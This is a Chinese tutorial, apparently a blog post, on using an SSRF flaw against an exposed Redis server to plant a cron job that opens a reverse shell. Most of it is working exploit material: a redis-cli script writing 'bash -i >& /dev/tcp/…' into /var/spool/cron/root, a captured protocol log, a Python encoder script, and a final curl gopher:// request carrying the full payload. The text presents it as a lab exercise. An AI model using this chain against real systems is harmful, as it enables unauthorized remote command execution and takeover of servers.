1. 程式人生 > 實用技巧 >SSRF漏洞利用之Redis大神賜予shell

SSRF漏洞利用之Redis大神賜予shell

0x00實驗環境

1、centos靶機(IP為:192.168.11.205,橋接模式)

2、kali黑客攻擊主機(IP為:192.168.172.129,NAT模式)

0x01實驗原理

這段payload的作用我們先說明一下,其作用是在靶機的/var/spool/cron臨時目錄下,利用ssrf漏洞寫入黑客的redis資料庫的操作,這樣,黑客可以通過自己寫入的redis資料庫直接執行後獲取靶機的shell

0x02實驗步驟

(1)在centos靶機內部部署:

注意:這裡面的192.168.172.129/7999是我們kali的主機IP

echo -e "\n\n*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1\n\n"|/root/redis-2.8.3/src/redis-cli -h $1 -p $2 -x set 1


/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dbfilename root
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 save
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 quit

其中

$1表示含有redis漏洞的主機IP(centos)

$2表示redis的開啟的埠或者被轉發之後的埠

將上述程式碼儲存為bash.sh(注意修改redis的路徑及IP

(2)使用socat進行埠轉發(注:如果沒有安裝socat的,請使用如下的命令列進行安裝)

yum install socat

(3)使用socat進行redis的埠轉發,這裡需要保證你的centos的redis埠是開啟的

(4)將產生的命令行復製出來,並使用python指令碼進行過濾各種尖括號等的操作,這是為了讓機器更好的識別,並儲存為log.txt

過濾方法

  • 如果第一個字元是>或者<那麼丟棄該行字串,表示請求和返回的時間。

  • 如果前3個字元是+OK 那麼丟棄該行字串,表示返回的字串。

  • \r字串替換成%0d%0a

  • 空白行替換為%0a

2019/05/17 12:05:20.576789 length=89 from=0 to=88
*3\r
$3\r
set\r
$1\r
1\r
$62\r


*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1


\r
< 2019/05/17 12:05:20.577165 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.581392 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/05/17 12:05:20.581966 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.587385 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/05/17 12:05:20.587804 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.591422 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/05/17 12:05:20.593302 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.597224 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/05/17 12:05:20.597551 length=5 from=0 to=4
+OK\r

python指令碼為(建議使用python2的環境):

#coding: utf-8
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判斷倒數第2、3字串是否為\r
        elif line[-3:-1] == r'\r':
            # 如果該行只有\r,將\r替換成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最後的換行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判斷是否是空行,空行替換為%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

得到如下結果:

88*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

(5)使用CURL構造完整的請求

curl -v 'gopher://192.168.11.205:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

待續。。。。。